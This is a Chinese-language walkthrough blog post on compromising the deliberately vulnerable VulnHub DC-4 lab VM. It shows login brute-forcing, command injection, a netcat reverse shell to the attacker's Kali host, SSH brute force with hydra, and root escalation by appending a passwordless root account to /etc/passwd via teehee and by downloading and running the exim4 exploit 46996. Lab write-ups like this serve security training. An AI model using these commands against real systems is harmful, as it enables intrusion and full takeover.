文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
  • 1、靶场描述
  • 2、下载靶场环境
  • 3、启动靶场环境
  • 二、渗透靶场
  • 1、目标:
  • 2、信息收集:寻找靶机真实IP
  • 3、信息收集:探端口及服务
  • 4、目录爆破
  • 5、访问web服务
  • 6、爆破账号密码
  • 7、发现任意命令执行
  • 8、反弹shell到kali
  • 1.攻击机监听
  • 2.靶机连接
  • 3.反弹shell成功
  • 9、进入交互式shell
  • 10、teehee提权
  • 1、查看当前权限
  • 2、发现old-passwords.bak文件
  • 3、爆破出jim的ssh密码
  • 4、发现charles用户密码
  • 5、teehee提权
  • 11、exim4提权
  • 1、查看当前权限
  • 2、发现可以用exim4进行提权
  • 3、寻找exim4提权脚本
  • 4、上传提权脚本到靶机
  • 5、exim4提权
  • 12.发现flag.txt
  • 三、相关资源


一、环境搭建:

1、靶场描述

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-4,313/

下载下来的文件如下

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_02

设置虚拟机名称

渗透靶场docker 渗透靶场是什么意思_一起来打靶_03

导入中

渗透靶场docker 渗透靶场是什么意思_一起来打靶_04

导入完成之后打开后把网络模式设置为NAT模式。

渗透靶场docker 渗透靶场是什么意思_一起来打靶_05

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

渗透靶场docker 渗透靶场是什么意思_一起来打靶_06

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

使用nmap进行探活,寻找靶机ip

nmap -sP 192.168.233.0/24

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_07

也可以使用arp-scan进行探活,寻找靶机ip

arp-scan -l

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_08

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.180

192.168.233.1		vm8网卡
192.168.233.2		网关
192.168.233.179	靶机
192.168.233.254	DHCP服务器
192.168.233.130	kali本机

3、信息收集:探端口及服务

使用nmap探活端口

nmap -A -p- -v 192.168.233.180

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_09


渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_10

发现开放了22端口,存在ssh服务,OpenSSH 7.4p1
发现开放了80端口,存在web服务,nginx 1.15.10
也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.180

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_11

然后进行web指纹识别

whatweb -v 192.168.233.180

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_12

4、目录爆破

只发现登录框

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_13

5、访问web服务

http://192.168.233.180/

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_14

发现是一个登录框,我们第一反应就是能不能爆破出弱口令,然后就是有没有可能使用万能密码

6、爆破账号密码

这里使用bp尝试获取弱口令
Bp抓个包,发送到爆破模块

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_15

设置好爆破点

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_16

导入优秀的字典
我使用的字典

https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr

账号我导入了一个常用用户名

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_17

密码我导入了一个top1000

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_18

开始爆破

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_19

爆破中

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_20

爆破结果如下:
发现admin/happy这一组返回包长度最长,猜想他就是账号密码

渗透靶场docker 渗透靶场是什么意思_一起来打靶_21

使用admin/happy登录成功

渗透靶场docker 渗透靶场是什么意思_一起来打靶_22

7、发现任意命令执行

发现它有一个命令,我们点进去看一下

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_23

发现这里可以执行三种命令
点击list files好像是执行了ls -l

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_24

点击run抓个包看一下
发现真的是执行了ls -l

渗透靶场docker 渗透靶场是什么意思_一起来打靶_25

发现执行了ls并回返值,猜想能不能执行任意命令
把抓到的包放入重放攻击模块修改命令进行重放攻击
由上面ls -l拼接方式看,我们可以知道空格使用+代替
执行ls

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_26

执行whoami

渗透靶场docker 渗透靶场是什么意思_一起来打靶_27

执行id

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_28

执行ip+add

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_29

由上面的测试可知确实存在任意命令执行,空格由+代替

8、反弹shell到kali

1.攻击机监听

nc -lvvp 55555

Nc反弹shell详解在文末给出链接

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_30

2.靶机连接

连接命令

nc 192.168.233.130 55555 -e /bin/bash

经过+拼接如下

nc+192.168.233.130+55555+-e+/bin/bash

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_31

3.反弹shell成功

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_32

执行ls

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_33

9、进入交互式shell

都知道上面的到的shell不好用,我们进入交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_34

10、teehee提权

这个靶机可以使用exim4提权也可以使用teehee提权,两种提权方式选择一种即可,这里我两种提权方式都有些到

1、查看当前权限

查看当前权限,不是root权限

id 
Whoami

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_35

2、发现old-passwords.bak文件

查看系统里面有什么文件
在/home/jim/backups下看到一个old-passwords.bak文件,看名字应该是一堆密码,而且是jim用户使用过的密码

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_36

打开看一下发现一堆密码

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_37

感觉可以做爆破字典
把文件保存下来

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_38

3、爆破出jim的ssh密码

使用hydra爆破一下ssh密码

hydra -l jim -P /root/Desktop/old-passwords.bak.txt 192.168.233.180 ssh

用户名为jim,密码为我们保存的old-passwords.bak.txt

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_39

果然爆破出一个一对用户密码

jim/jibril04

使用kali登录jim

ssh jim@192.168.79.132

密码是jibril04
成功登录jim用户

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_40

4、发现charles用户密码

继续探索
在/var/spool/mail目录下发现一封名为jim的邮件
邮件内容大致为:
我今天要去度假了,所以老板让我给你我的密码,以防有什么事情发生错了。
也就是说这里我们又拿到了一个用户名和密码

Charles/^xHhA&hvim0y

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_41

直接su 切换用户试试

su Charles

提示没有这个用户名,那很明显首字母我们需要小写

su charles

然后输入密码

^xHhA&hvim0y

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_42

成功用su命令切换到用户charles

5、teehee提权

1、查看使用sudo运行的命令

sudo -l

看到一个teehee提权,我们可以用teehee写一些信息到/etc/passwd里面

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_43

2、执行如下命令进行提权:

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

命令的意思大致利用teehee为把如下信息写到/etc/passwd里面,在用户名admin 没有密码为管理员权限,进入的时候运行/bin/bash
3、/etc/passwd 内每个字段含义如下

admin::0:0:::/bin/bash
username:password:User ID:Group ID:comment:home directory:shell

4、成功提权为root

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_44

11、exim4提权

这个靶机可以使用exim4提权也可以使用teehee提权,两种提权方式选择一种即可,这里我两种提权方式都有些到

1、查看当前权限

查看当前权限,不是root权限

id 
whoami

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_45

2、发现可以用exim4进行提权

看看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

发现exim4命令具有SUID权限,exim4是可以用来提权的

渗透靶场docker 渗透靶场是什么意思_一起来打靶_46

查看查看exim4版本,发现exim4版本为4.89

exim4 --version

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_47

3、寻找exim4提权脚本

1、本地漏洞库查找exim 4漏洞

searchsploit exim 4

exim4版本为4.89,发现有好几个可以用,还有两个提权,这里我们选用46996

渗透靶场docker 渗透靶场是什么意思_vulnhub靶机通关篇_48

4、上传提权脚本到靶机

开启apache服务

systemctl start apache2.service

将选用的46996拷贝到kali的apache web页面下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_49

访问kali服务下载提权脚本

http://kali-ip/46996.sh

DC-4下载提权脚本

wget http://192.168.233.130/46996.sh

提示可以访问,但拒绝访问,可能是目录权限不够,尝试切换到/tmp目录进行下载

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_50

cd /tmp
wget http://192.168.233.130/46996.sh

成功下载提权脚本

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_51

5、exim4提权

我们已经上传了提权脚本到靶机,接下来我们需要运行脚本进行提权

ls -l

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_52

查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

chmod +x 46996.sh

渗透靶场docker 渗透靶场是什么意思_渗透测试靶机详解_53

执行脚本

./46996.sh

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_54

成功提权为root权限

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_55

发现flag

渗透靶场docker 渗透靶场是什么意思_渗透靶场docker_56

12.发现flag.txt

有了root权限,我们切换到root目录下,查看文件,发现flag.txt文件

cd /root
ls
cat flag.txt

渗透靶场docker 渗透靶场是什么意思_DC-4 通关详解_57

三、相关资源